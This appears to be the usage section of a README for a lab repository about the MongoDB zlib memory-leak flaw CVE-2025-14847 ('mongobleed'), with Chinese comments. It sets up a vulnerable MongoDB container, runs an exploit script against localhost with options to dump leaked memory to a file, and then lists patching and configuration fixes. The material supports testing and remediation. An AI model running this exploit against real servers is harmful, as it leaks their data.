# 克隆仓库
git clone https://github.com/FurkanKAYAPINAR/CVE-2025-14847-MongoDB.git
cd CVE-2025-14847-MongoDB

# 创建虚拟环境
python3 -m venv venv
source venv/bin/activate  # Linux/macOS
# venv\Scripts\activate   # Windows

# 安装依赖
pip install -r requirements.txt

cd lab

# 启动存在漏洞的 MongoDB (6.0.26，启用 zlib)
docker-compose up -d

# 确认运行状态
docker-compose ps

# 加载样本数据（可选）
./setup.sh load-data

# 停止实验环境
docker-compose down

# 单个目标
python exploit/mongobleed.py -u 127.0.0.1

# 指定端口
python exploit/mongobleed.py -u 127.0.0.1 -p 27017

# 将泄露数据保存到文件
python exploit/mongobleed.py -u 127.0.0.1 -o leaked_data.bin

# 多次迭代以获取更多数据
python exploit/mongobleed.py -u 127.0.0.1 -i 20

# 安静模式（减少输出）
python exploit/mongobleed.py -u 127.0.0.1 -q

# 不输出十六进制转储（文本输出）
python exploit/mongobleed.py -u 127.0.0.1 --text

# 更新到已修复版本
# 以 MongoDB 6.x 为例
sudo apt-get update
sudo apt-get install mongodb-org=6.0.27

# 启动 mongod 时不启用 zlib
mongod --networkMessageCompressors snappy,zstd

# 或在 mongod.conf 中配置
net:
  compression:
    compressors: snappy,zstd

python remediation/verify_fix.py --target 127.0.0.1 --port 27017